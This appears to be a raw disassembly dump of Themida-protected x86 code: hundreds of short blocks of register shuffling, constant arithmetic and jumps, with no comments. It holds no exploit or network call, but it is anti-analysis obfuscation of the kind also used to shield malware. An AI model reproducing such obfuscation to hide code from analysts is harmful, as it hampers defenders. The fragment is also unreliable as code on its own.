loc_571CC9:				; CODE XREF: Themida_:0056B796j
		mov	[esp], esi
		jmp	loc_562BF7
; ---------------------------------------------------------------------------


loc_571CD1:				; CODE XREF: Themida_:0055E5CDj
		push	6F27h
		mov	[esp], edx
		push	3E01h
		mov	[esp], eax
		mov	eax, 1212193Bh
		mov	edx, 14498606h
		sub	edx, 3182578Dh
		sub	edx, eax
		jmp	loc_566F81
; ---------------------------------------------------------------------------


loc_571CF8:				; CODE XREF: Themida_:00572410j
		add	edx, 0AAD5D65h
		jmp	loc_55F57F
; ---------------------------------------------------------------------------


loc_571D03:				; CODE XREF: Themida_:005712A4j
		xor	ebp, 436427BDh
		sub	ecx, ebp
		jmp	loc_5729C2
; ---------------------------------------------------------------------------


loc_571D10:				; CODE XREF: Themida_:0056F207j
		sub	edx, 3A51167Ch
		sub	esp, 4
		mov	[esp], ecx
		push	242Fh
		mov	[esp], edx
		push	3B99h
		mov	[esp], edx
		push	edi
		push	esi
		mov	esi, 70FB56C6h
		mov	edi, 0CC1CE04Dh
		add	edi, esi
		pop	esi
		shr	edi, 1
		xchg	ecx, edi
		jmp	loc_56E1C9
; ---------------------------------------------------------------------------


loc_571D47:				; CODE XREF: Themida_:00562F8Bj
		pop	eax
		push	4BA7h
		mov	[esp], esi
		jmp	loc_5689FB
; ---------------------------------------------------------------------------


loc_571D55:				; CODE XREF: Themida_:005711A1j
		push	58A3h
		mov	[esp], edx
		jmp	loc_56516A
; ---------------------------------------------------------------------------


loc_571D62:				; CODE XREF: Themida_:00572651j
		add	esp, 4
		add	esp, 4
		push	dx
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 8Ah
		mov	al, 84h
		jmp	loc_56F3D6
; ---------------------------------------------------------------------------


loc_571D80:				; CODE XREF: Themida_:00565C28j
		shr	ebx, 8
		or	ebx, 649B7BF5h
		jmp	loc_562646
; ---------------------------------------------------------------------------


loc_571D8E:				; CODE XREF: Themida_:005619FEj
		push	ecx
		push	105572F5h
		jmp	loc_5672E5
; ---------------------------------------------------------------------------


loc_571D99:				; CODE XREF: Themida_:00569D4Ej
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56D358
; ---------------------------------------------------------------------------


loc_571DAD:				; CODE XREF: Themida_:0056485Aj
		add	edx, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		push	eax
		jmp	loc_5652AE
; ---------------------------------------------------------------------------


loc_571DC9:				; CODE XREF: Themida_:0057029Ej
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_55D8E8
; ---------------------------------------------------------------------------


loc_571DDB:				; CODE XREF: Themida_:00561559j
		pop	edi
		xor	ebx, 57E90129h
		push	ebp
		mov	ebp, 2AAA02B9h
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_570AB3
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_569A80
; ---------------------------------------------------------------------------


loc_571DFA:				; CODE XREF: Themida_:0056BCEAj
		push	ebx
		push	edi
		jmp	loc_56D499
; ---------------------------------------------------------------------------


loc_571E01:				; CODE XREF: Themida_:0056A545j
		sub	esi, 4A91561Bh
		add	esi, 2E771E10h
		xor	esi, 0E4A1E41Ch
		add	edx, 7A023541h
		add	edx, esi
		sub	edx, 7A023541h
		jmp	loc_5638CD
; ---------------------------------------------------------------------------


loc_571E26:				; CODE XREF: Themida_:00566F15j
		pop	edx
		inc	esi
		push	ebp
		mov	ebp, 4A991E6Ah
		jmp	loc_561782
; ---------------------------------------------------------------------------


loc_571E33:				; CODE XREF: Themida_:00567CBDj
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5629FD
; ---------------------------------------------------------------------------


loc_571E41:				; CODE XREF: Themida_:0055FE89j
		mov	[esp], esi
		mov	esi, 2DD04D0Ch
		add	dword ptr [esp+4], 5BA04702h
		add	[esp+4], esi
		jmp	loc_56EEEF
; ---------------------------------------------------------------------------


loc_571E5A:				; CODE XREF: Themida_:00569BC1j
		pop	esp
		sub	dword ptr [esp+4], 71E705C9h
		add	dword ptr [esp+4], 5BD55E20h
		push	ebp
		jmp	loc_56E7D2
; ---------------------------------------------------------------------------


loc_571E71:				; CODE XREF: Themida_:0056750Ej
		pop	esi
		sub	edi, 2AEC2B7Ah
		jmp	loc_560AA9
; ---------------------------------------------------------------------------


loc_571E7D:				; CODE XREF: Themida_:005610F2j
		mov	bl, 0Bh
		sub	bl, 62h
		xor	ch, bl
		jmp	loc_562688
; ---------------------------------------------------------------------------


loc_571E89:				; CODE XREF: Themida_:0056F7ABj
		add	eax, 533D1908h
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_55EDA0
; ---------------------------------------------------------------------------


loc_571E9E:				; CODE XREF: Themida_:00565663j
		sub	ebx, 3817556h
		jmp	loc_5671E9
; ---------------------------------------------------------------------------


loc_571EA9:				; CODE XREF: Themida_:00562909j
		sub	ebp, esi
		add	ebp, 41114C6Ah
		sub	ebp, 396D26C8h
		pop	esi
		mov	edi, ebp
		mov	ebp, [esp]
		jmp	loc_563BF3
; ---------------------------------------------------------------------------


loc_571EC2:				; CODE XREF: Themida_:0056F79Cj
		mov	esi, [esp]
		jmp	loc_560BD6
; ---------------------------------------------------------------------------


loc_571ECA:				; CODE XREF: Themida_:0056D954j
		add	esp, 4
		add	cl, 8Ah
		jmp	loc_563FCA
; ---------------------------------------------------------------------------


loc_571ED5:				; CODE XREF: Themida_:00570A27j
		pop	edi
		pop	edx
		xor	esi, 512E5794h
		push	esi
		push	dword ptr [esp]
		jmp	loc_56C740
; ---------------------------------------------------------------------------


loc_571EE6:				; CODE XREF: Themida_:0056C94Dj
		push	92086E4Bh
		pop	ebx
		xor	ebp, ebx
		pop	ebx
		push	ecx
		mov	ecx, 626E68B9h
		jmp	loc_571061
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		mov	edx, 2ADD241Eh
		sub	esi, edx
		jmp	loc_56FDCB
; ---------------------------------------------------------------------------


loc_571F08:				; CODE XREF: Themida_:0056D072j
		mov	edi, 0D35383h
		or	edi, 3FCE54F7h
		xor	edi, 63FA796Ch
		push	2027h
		jmp	loc_55E81E
; ---------------------------------------------------------------------------


loc_571F23:				; CODE XREF: Themida_:0055D575j
		sub	edx, ebp
		pop	ebp
		mov	[edx], eax
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_564326
; ---------------------------------------------------------------------------


loc_571F33:				; CODE XREF: Themida_:005728EAj
		push	edx
		mov	edx, 6AFF02C8h
		push	edi
		mov	edi, 6F3E5F93h
		sub	edi, 0DA3D623Fh
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_566826
; ---------------------------------------------------------------------------


loc_571F55:				; CODE XREF: Themida_:00561ED7j
		or	esi, 400E6566h
		sub	esi, 519343ECh
		jmp	loc_56DE61
; ---------------------------------------------------------------------------


loc_571F66:				; CODE XREF: Themida_:005662B1j
		sub	esi, 1C5B56DCh
		and	ebx, esi
		jmp	loc_56165B
; ---------------------------------------------------------------------------


loc_571F73:				; CODE XREF: Themida_:005674FBj
		mov	dh, ah
		mov	eax, [esp]
		jmp	loc_560DA0
; ---------------------------------------------------------------------------


loc_571F7D:				; CODE XREF: Themida_:00564682j
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_56FF2A
; ---------------------------------------------------------------------------


loc_571F87:				; CODE XREF: Themida_:0056C6ABj
		sub	esi, 76687D93h
		xor	ebp, esi
		pop	esi
		push	eax
		mov	eax, 3D7013A3h
		sub	ebx, eax
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_562EC4
; ---------------------------------------------------------------------------


loc_571FA3:				; CODE XREF: Themida_:00562DDBj
		shr	eax, 8
		push	ebp
		jmp	loc_56E6CB
; ---------------------------------------------------------------------------


loc_571FAC:				; CODE XREF: Themida_:0056FC40j
		inc	edi
		shr	edi, 6
		push	ebx
		mov	ebx, 64F83E3Ah
		and	ebx, 4ACC4542h
		push	edi
		mov	edi, 1F270ECDh
		xor	edi, 298B74C6h
		xor	edi, 489506B2h
		shr	edi, 3
		push	esi
		push	ebp
		mov	ebp, 56BD3C6Ch
		dec	ebp
		jmp	loc_561DA3
; ---------------------------------------------------------------------------


loc_571FDE:				; CODE XREF: Themida_:0056275Aj
		shr	edx, 7
		jmp	loc_57054C
; ---------------------------------------------------------------------------


loc_571FE6:				; CODE XREF: Themida_:0056CF55j
		mov	esi, 497B6778h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7EDE7D6Fh
		and	eax, 3B8827F8h
		jmp	loc_562E6A
; ---------------------------------------------------------------------------


loc_572000:				; CODE XREF: Themida_:0056906Cj
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		push	4DE7759Ah
		pop	ecx
		xor	ecx, 94C300Bh
		jmp	loc_560603
; ---------------------------------------------------------------------------


loc_57202A:				; CODE XREF: Themida_:0056FCCBj
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 32607D34h
		dec	eax
		not	eax
		shr	eax, 2
		xor	eax, 3367E0B7h
		push	eax
		add	dword ptr [esp], 22AC29AEh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	edx, 22AC29AEh
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 19817C0Fh
		shr	ebx, 1
		xor	ebx, 326335F2h
		sub	ebx, 782A74A4h
		add	ebx, 506930C6h
		inc	ebx
		jmp	loc_55DD44
; ---------------------------------------------------------------------------


loc_572091:				; CODE XREF: Themida_:00567829j
		pop	eax
		xor	esi, 7B2E4732h
		push	64Fh
		mov	[esp], edi
		push	183Dh
		mov	[esp], edx
		mov	edx, 3BB60F2Ah
		and	edx, 3787600h
		or	edx, 13907ACFh
		inc	edx
		jmp	loc_56281E
; ---------------------------------------------------------------------------


loc_5720BF:				; CODE XREF: Themida_:0056FD15j
		mov	edi, ebp
		pop	ebp
		sub	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 3E6D2A76h
		and	esi, 1E60728Ah
		shl	esi, 1
		push	eax
		mov	eax, 243C76A2h
		jmp	loc_563614
; ---------------------------------------------------------------------------


loc_5720EB:				; CODE XREF: Themida_:005612FAj
		sub	ebx, 76F5201Ch
		push	edi
		mov	edi, 13DCDA98h
		sub	ebx, edi
		pop	edi
		add	edx, 3E665D38h
		sub	edx, 0C9702B6h
		sub	edx, ebx
		add	edx, 0C9702B6h
		sub	edx, 3E665D38h
		jmp	loc_55ED47
; ---------------------------------------------------------------------------


loc_572119:				; CODE XREF: Themida_:0056DF63j
		pop	eax
		xchg	esi, [esp]
		jmp	loc_567370
; ---------------------------------------------------------------------------


loc_572122:				; CODE XREF: Themida_:00565017j
		mov	ebp, 79A96840h
		mov	edi, 0B2406853h
		sub	edi, ebp
		pop	ebp
		xor	edi, 30993B85h
		push	ecx
		mov	ecx, 2EA1634Dh
		sub	ecx, 0C34A056Bh
		xor	edi, ecx
		pop	ecx
		shr	edi, 7
		xor	edi, 48122822h
		xor	edi, 345BE169h
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		jmp	loc_5717A2
; ---------------------------------------------------------------------------


loc_572161:				; CODE XREF: Themida_:00560017j
		mov	[esp], ebp
		jmp	loc_55E9C9
; ---------------------------------------------------------------------------


loc_572169:				; CODE XREF: Themida_:0056C07Dj
		add	edi, 68890371h
		sub	edi, ecx
		jmp	loc_56A62B
; ---------------------------------------------------------------------------


loc_572176:				; CODE XREF: Themida_:0056E5E0j
		sub	ebp, eax
		jmp	loc_5709F3
; ---------------------------------------------------------------------------


loc_57217D:				; CODE XREF: Themida_:005716C2j
		mov	[esp], eax
		push	38h
		mov	[esp], edx
		mov	dh, cl
		mov	ah, dh
		pop	edx
		mov	bh, ah
		jmp	loc_565D14
; ---------------------------------------------------------------------------


loc_572194:				; CODE XREF: Themida_:00572A08j
		not	ebx
		jmp	loc_561838
; ---------------------------------------------------------------------------


loc_57219B:				; CODE XREF: Themida_:005630D1j
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		xor	eax, edx
		jmp	loc_560707
; ---------------------------------------------------------------------------


loc_5721B8:				; CODE XREF: Themida_:0055FA85j
		push	15E654D3h
		jmp	loc_568125
; ---------------------------------------------------------------------------


loc_5721C2:				; CODE XREF: Themida_:0056E693j
		and	edi, eax
		mov	eax, [esp]
		add	esp, 4
		shl	edi, 4
		push	eax
		mov	eax, 3A06D872h
		add	edi, eax
		pop	eax
		jmp	loc_568118
; ---------------------------------------------------------------------------


loc_5721DE:				; CODE XREF: Themida_:00567FC3j
		push	ecx
		jmp	loc_56BB9C
; ---------------------------------------------------------------------------


loc_5721E4:				; CODE XREF: Themida_:0056DDC1j
		mov	[esp], ax
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5721ED:				; CODE XREF: Themida_:00566E47j
		mov	edi, ecx
		pop	ecx
		push	edi
		add	dword ptr [esp], 3AF753A8h
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	edi
		jmp	loc_563D75
; ---------------------------------------------------------------------------


loc_572204:				; CODE XREF: Themida_:00562FAEj
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 1Eh
		xor	ch, 56h
		xor	bh, ch
		mov	ecx, [esp]
		add	esp, 4
		xor	bh, 6
		xor	al, bh
		push	dword ptr [esp]
		jmp	loc_56A5A9
; ---------------------------------------------------------------------------


loc_572227:				; CODE XREF: Themida_:0056E597j
		shl	edi, 3
		xor	edi, 23135690h
		sub	edi, 2879CBEFh
		mov	eax, edi
		jmp	loc_569295
; ---------------------------------------------------------------------------


loc_57223D:				; CODE XREF: Themida_:0056ECD5j
		add	dword ptr [esp], 4
		jmp	loc_572AFD
; ---------------------------------------------------------------------------


loc_572246:				; CODE XREF: Themida_:0056FB37j
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_567160
; ---------------------------------------------------------------------------


loc_57225C:				; CODE XREF: Themida_:00568281j
		sub	ebx, 4FC2575Bh
		sub	ebx, 667700E9h
		push	ecx
		mov	ecx, 0DC66F28h
		inc	ecx
		shr	ecx, 1
		and	ecx, 2AAF4C65h
		sub	ecx, 0A30FF490h
		add	ebx, ecx
		pop	ecx
		push	725Eh
		mov	[esp], eax
		mov	eax, 0FB1CA3h
		push	ecx
		mov	ecx, 3F8D22EAh
		add	eax, ecx
		pop	ecx
		sub	ebx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_56B36E
; ---------------------------------------------------------------------------


loc_5722A3:				; CODE XREF: Themida_:00563FEAj
		push	450Bh
		mov	[esp], esi
		jmp	loc_56BD91
; ---------------------------------------------------------------------------


loc_5722B0:				; CODE XREF: Themida_:0055E3C1j
		push	edi
		jmp	loc_56D0F6
; ---------------------------------------------------------------------------


loc_5722B6:				; CODE XREF: Themida_:0056E983j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5722BB:				; CODE XREF: Themida_:00565B16j
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, 111C38FEh
		push	eax
		push	ecx
		mov	ecx, 35653236h
		sub	ecx, 7A19133Fh
		shl	ecx, 6
		xor	ecx, 8E41C667h
		mov	eax, ecx
		jmp	loc_569380
; ---------------------------------------------------------------------------


loc_5722E7:				; CODE XREF: Themida_:00566CF7j
		sub	ebp, 3AF753A8h
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, ebp
		pop	ebp
		jmp	loc_563A94
; ---------------------------------------------------------------------------


loc_5722FB:				; CODE XREF: Themida_:0056F6D6j
		add	ecx, eax
		jmp	loc_560F5C
; ---------------------------------------------------------------------------


loc_572302:				; CODE XREF: Themida_:0055F487j
		mov	bh, 0Bh
		mov	ah, bh
		pop	ebx
		dec	ah
		add	ah, 86h
		mov	bl, ah
		pop	eax
		mov	cl, bl
		pop	ebx
		add	cl, 10h
		add	cl, 1
		sub	cl, ah
		sub	cl, 1
		sub	cl, 10h
		pop	eax
		sub	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57293C
; ---------------------------------------------------------------------------


loc_572331:				; CODE XREF: Themida_:00570C74j
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 209619DAh
		sub	edi, 209619D6h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		jmp	loc_570CDC
; ---------------------------------------------------------------------------


loc_572356:				; CODE XREF: Themida_:0056E440j
		sub	[esp+4], esi
		push	eax
		mov	eax, 31B10174h
		add	[esp+8], eax
		pop	eax
		add	dword ptr [esp+4], 45B04FB4h
		add	dword ptr [esp+4], 40214940h
		mov	esi, [esp]
		jmp	loc_56235E
; ---------------------------------------------------------------------------


loc_57237D:				; CODE XREF: Themida_:0055E0FBj
		sub	esp, 4
		jmp	loc_55E34A
; ---------------------------------------------------------------------------


loc_572388:				; CODE XREF: Themida_:0056F9C4j
		pop	ecx
		push	eax
		mov	eax, 2
		jmp	loc_570A8F
; ---------------------------------------------------------------------------


loc_572394:				; CODE XREF: Themida_:005604DCj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		sub	edx, 380596Eh
		jmp	loc_55D588
; ---------------------------------------------------------------------------


loc_5723AD:				; CODE XREF: Themida_:0056DE5Cj
		sub	ecx, 77713F47h
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		push	1BA1h
		mov	[esp], ebx
		push	57BDh
		mov	[esp], ebp
		mov	ebp, 1CED587Fh
		mov	ebx, ebp
		pop	ebp
		sub	ebx, 1
		or	ebx, 1E152FD4h
		xor	ebx, 6AEF2E06h
		jmp	loc_567028
; ---------------------------------------------------------------------------


loc_5723E7:				; CODE XREF: Themida_:0055EC01j
		add	eax, edi
		sub	eax, 2C1F3A90h
		add	eax, 42283EEFh
		sub	eax, 55FF2D01h
		push	dword ptr [esp]
		jmp	loc_56EFA9
; ---------------------------------------------------------------------------


loc_572400:				; CODE XREF: Themida_:0055FB8Aj
		pop	ebx
		sub	al, ch
		push	dword ptr [esp]
		jmp	loc_56F20C
; ---------------------------------------------------------------------------


loc_57240B:				; CODE XREF: Themida_:0056154Ej
		mov	edx, 565041AEh
		jmp	loc_571CF8
; ---------------------------------------------------------------------------


loc_572415:				; CODE XREF: Themida_:0056BB47j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_561CE0
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_568E76
; ---------------------------------------------------------------------------


loc_572430:				; CODE XREF: Themida_:0056989Aj
		sub	si, 48F1h
		neg	si
		jmp	loc_562540
; ---------------------------------------------------------------------------


loc_57243D:				; CODE XREF: Themida_:0056BA34j
		pop	dword ptr [esp]
		jmp	loc_572531
; ---------------------------------------------------------------------------


loc_572445:				; CODE XREF: Themida_:005668B4j
		mov	ebp, 62F436CCh
		jmp	loc_56AAC9
; ---------------------------------------------------------------------------


loc_57244F:				; CODE XREF: Themida_:005600D0j
		mov	ebx, 573628BCh
		shl	ebx, 4
		inc	ebx
		dec	ebx
		inc	ebx
		add	ebx, 0F8BAB14Eh
		jmp	loc_56F87C
; ---------------------------------------------------------------------------


loc_572465:				; CODE XREF: Themida_:0056B130j
		pop	ecx
		push	0
		push	edx
		mov	edx, 51380437h
		push	ecx
		mov	ecx, 32637CD0h
		add	[esp+8], ecx
		pop	ecx
		sub	dword ptr [esp+4], 69B55F9Ch
		sub	[esp+4], edx
		add	dword ptr [esp+4], 69B55F9Ch
		sub	dword ptr [esp+4], 32637CD0h
		pop	edx
		jmp	loc_560B77
; ---------------------------------------------------------------------------


loc_57249E:				; CODE XREF: Themida_:0055F81Bj
		push	edx
		mov	edx, 0F283187h
		sub	[esp+4], edx
		mov	edx, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	ebx, edi
		jmp	loc_569202
; ---------------------------------------------------------------------------


loc_5724D9:				; CODE XREF: Themida_:00570022j
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 8Eh
		sub	bl, dl
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_56F4E5
; ---------------------------------------------------------------------------


loc_5724F0:				; CODE XREF: Themida_:0055D36Dj
		not	edx
		jmp	loc_570459
; ---------------------------------------------------------------------------


loc_5724F7:				; CODE XREF: Themida_:00567703j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56FB0B
; ---------------------------------------------------------------------------


loc_572504:				; CODE XREF: Themida_:00571760j
		dec	eax
		sub	eax, 0B0CA93A2h
		mov	ebp, eax
		pop	eax
		or	ebp, 27526531h
		jmp	loc_56A1C4
; ---------------------------------------------------------------------------


loc_572518:				; CODE XREF: Themida_:005681F8j
		push	ecx
		mov	ecx, 60045C29h
		jmp	loc_565DE9
; ---------------------------------------------------------------------------


loc_572523:				; CODE XREF: Themida_:00564041j
		sub	dl, 0FFh
		sub	esp, 2
		jmp	loc_565A00
; ---------------------------------------------------------------------------


loc_572531:				; CODE XREF: Themida_:00572440j
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_57253D:				; CODE XREF: Themida_:0055D43Cj
		pop	edx
		neg	edx
		and	edx, 2D5436EEh
		add	edx, 1FD5553h
		shl	edx, 1
		add	edx, 0A97D4912h
		sub	ecx, 68476E16h
		add	ecx, edx
		add	ecx, 68476E16h
		pop	edx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		add	[esp], eax
		push	1E79h
		jmp	loc_5602A3
; ---------------------------------------------------------------------------


loc_57257A:				; CODE XREF: Themida_:00566D49j
		mov	edi, 60E564D2h
		not	edi
		sub	edi, 0A96491A8h
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		mov	eax, esi
		pop	esi
		sub	dword ptr [esp+4], 222D189Fh
		jmp	loc_565E7C
; ---------------------------------------------------------------------------


loc_5725A2:				; CODE XREF: Themida_:00561902j
		mov	ah, 69h
		shr	ah, 5
		shl	ah, 2
		and	ah, 11h
		or	ah, 32h
		sub	ah, 42h
		jmp	loc_565E4E
; ---------------------------------------------------------------------------


loc_5725B8:				; CODE XREF: Themida_:005653A4j
		pop	ebx
		jmp	loc_561941
; ---------------------------------------------------------------------------


loc_5725BE:				; CODE XREF: Themida_:0055DE3Dj
		mov	esi, 75595320h
		not	esi
		jmp	loc_569F15
; ---------------------------------------------------------------------------


loc_5725CA:				; CODE XREF: Themida_:0056C3B1j
		pop	ebx
		mov	ebp, eax
		jmp	loc_55F91E
; ---------------------------------------------------------------------------


loc_5725D2:				; CODE XREF: Themida_:005683E3j
		shr	edi, 5
		shl	edi, 5
		neg	edi
		sub	edi, 0E272C29Ch
		xor	ebp, edi
		pop	edi
		jmp	loc_563F86
; ---------------------------------------------------------------------------


loc_5725E8:				; CODE XREF: Themida_:005611B6j
		not	dword ptr [esp]
		mov	edi, [esp]
		push	esi
		jmp	loc_56732C
; ---------------------------------------------------------------------------


loc_5725F4:				; CODE XREF: Themida_:0055F1EFj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_55F03F
; ---------------------------------------------------------------------------


loc_572603:				; CODE XREF: Themida_:00563090j
		and	esi, 210F61E5h
		jmp	loc_55F11A
; ---------------------------------------------------------------------------


loc_57260E:				; CODE XREF: Themida_:0055EB46j
		pop	esp
		jmp	loc_55E163
; ---------------------------------------------------------------------------


loc_572614:				; CODE XREF: Themida_:005691D2j
		dec	esi
		xor	esi, 4A7E20A9h
		xor	esi, 4764491Ch
		mov	edx, esi
		jmp	loc_56ED46
; ---------------------------------------------------------------------------


loc_572628:				; CODE XREF: Themida_:00565B61j
		push	6383482h
		pop	ecx
		jmp	loc_562FB3
; ---------------------------------------------------------------------------


loc_572633:				; CODE XREF: Themida_:00565610j
		pop	edx
		and	ebp, 799E4B21h
		jmp	loc_56C93E
; ---------------------------------------------------------------------------


loc_57263F:				; CODE XREF: Themida_:005685F6j
		mov	dl, 0FBh
		xor	dl, 0FEh
		add	al, dl
		pop	edx
		sub	al, 29h
		sub	al, 29h
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_571D62
; ---------------------------------------------------------------------------


loc_572656:				; CODE XREF: Themida_:0056A423j
		pop	esi
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	6A92h
		mov	[esp], eax
		mov	eax, 4
		sub	esi, eax
		jmp	loc_564052
; ---------------------------------------------------------------------------


loc_572674:				; CODE XREF: Themida_:00570B9Dj
		add	al, 88h
		pop	edx
		add	al, 51h
		jmp	loc_5674DC
; ---------------------------------------------------------------------------


loc_57267E:				; CODE XREF: Themida_:0056B61Aj
		mov	esp, [esp]
		jmp	loc_56833A
; ---------------------------------------------------------------------------


loc_572686:				; CODE XREF: Themida_:0056EE18j
		add	ebp, eax
		push	esi
		jmp	loc_56FBBD
; ---------------------------------------------------------------------------


loc_57268E:				; CODE XREF: Themida_:0056ABFFj
		xor	ebp, [esp]
		pop	esp
		add	al, 1Fh
		jmp	loc_5705D8
; ---------------------------------------------------------------------------


loc_572699:				; CODE XREF: Themida_:00569777j
		mov	ecx, 4F2815F0h
		sub	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 41D616D3h
		jmp	loc_55F1DF
; ---------------------------------------------------------------------------


loc_5726AC:				; CODE XREF: Themida_:0056C6CFj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6D8E152Ah
		xor	edi, 61E66E20h
		jmp	loc_56728F
; ---------------------------------------------------------------------------


loc_5726C5:				; CODE XREF: Themida_:005727F1j
		mov	ecx, esp
		jmp	loc_56533B
; ---------------------------------------------------------------------------


loc_5726CC:				; CODE XREF: Themida_:005713A5j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_563A51
; ---------------------------------------------------------------------------


loc_5726EC:				; CODE XREF: Themida_:0056CA85j
		add	esp, 4
		push	ebp
		jmp	loc_563B05
; ---------------------------------------------------------------------------


loc_5726F5:				; CODE XREF: Themida_:0056CA70j
		mov	[esp], edi
		mov	edi, 14293FDCh
		sub	esi, edi
		pop	edi
		mov	eax, [esp]
		jmp	loc_55F141
; ---------------------------------------------------------------------------


loc_572708:				; CODE XREF: Themida_:00563DCCj
		add	ebp, 0B264C717h
		sub	edi, 10D16526h
		add	edi, ebp
		jmp	loc_566C76
; ---------------------------------------------------------------------------


loc_57271B:				; CODE XREF: Themida_:0056A438j
		pop	eax
		pop	edx
		and	ecx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55DBE4
; ---------------------------------------------------------------------------


loc_57272D:				; CODE XREF: Themida_:0056C400j
		mov	edi, 11BE2C9Dh
		jmp	loc_56C147
; ---------------------------------------------------------------------------


loc_572737:				; CODE XREF: Themida_:00562098j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	3DDh
		mov	[esp], edx
		jmp	loc_569E67
; ---------------------------------------------------------------------------


loc_572758:				; CODE XREF: Themida_:00572ADCj
		add	ebx, edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55F3B8
; ---------------------------------------------------------------------------


loc_572768:				; CODE XREF: Themida_:00560D53j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56CE0E
; ---------------------------------------------------------------------------


loc_572773:				; CODE XREF: Themida_:0055F783j
		mov	ecx, esp
		push	0A34h
		mov	[esp], ebp
		mov	ebp, 17874D0Dh
		push	5F9Fh
		mov	[esp], ebp
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_56B1FB
; ---------------------------------------------------------------------------


loc_572794:				; CODE XREF: Themida_:00562110j
		sub	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_56FC1F
; ---------------------------------------------------------------------------


loc_5727AC:				; CODE XREF: Themida_:005679B2j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_56684B
; ---------------------------------------------------------------------------


loc_5727C5:				; CODE XREF: Themida_:00569CEAj
		shr	bl, 7
		xor	bl, 0A0h
		sub	bl, 86h
		shr	bl, 7
		add	bl, 0D5h
		push	eax
		mov	al, 0CBh
		sub	bl, al
		pop	eax
		add	al, bl
		pop	ebx
		jmp	loc_56A010
; ---------------------------------------------------------------------------


loc_5727E2:				; CODE XREF: Themida_:00570463j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56C7E5
; ---------------------------------------------------------------------------


loc_5727ED:				; CODE XREF: Themida_:0056265Cj
		mov	ebx, [esp]
		push	ecx
		jmp	loc_5726C5
; ---------------------------------------------------------------------------


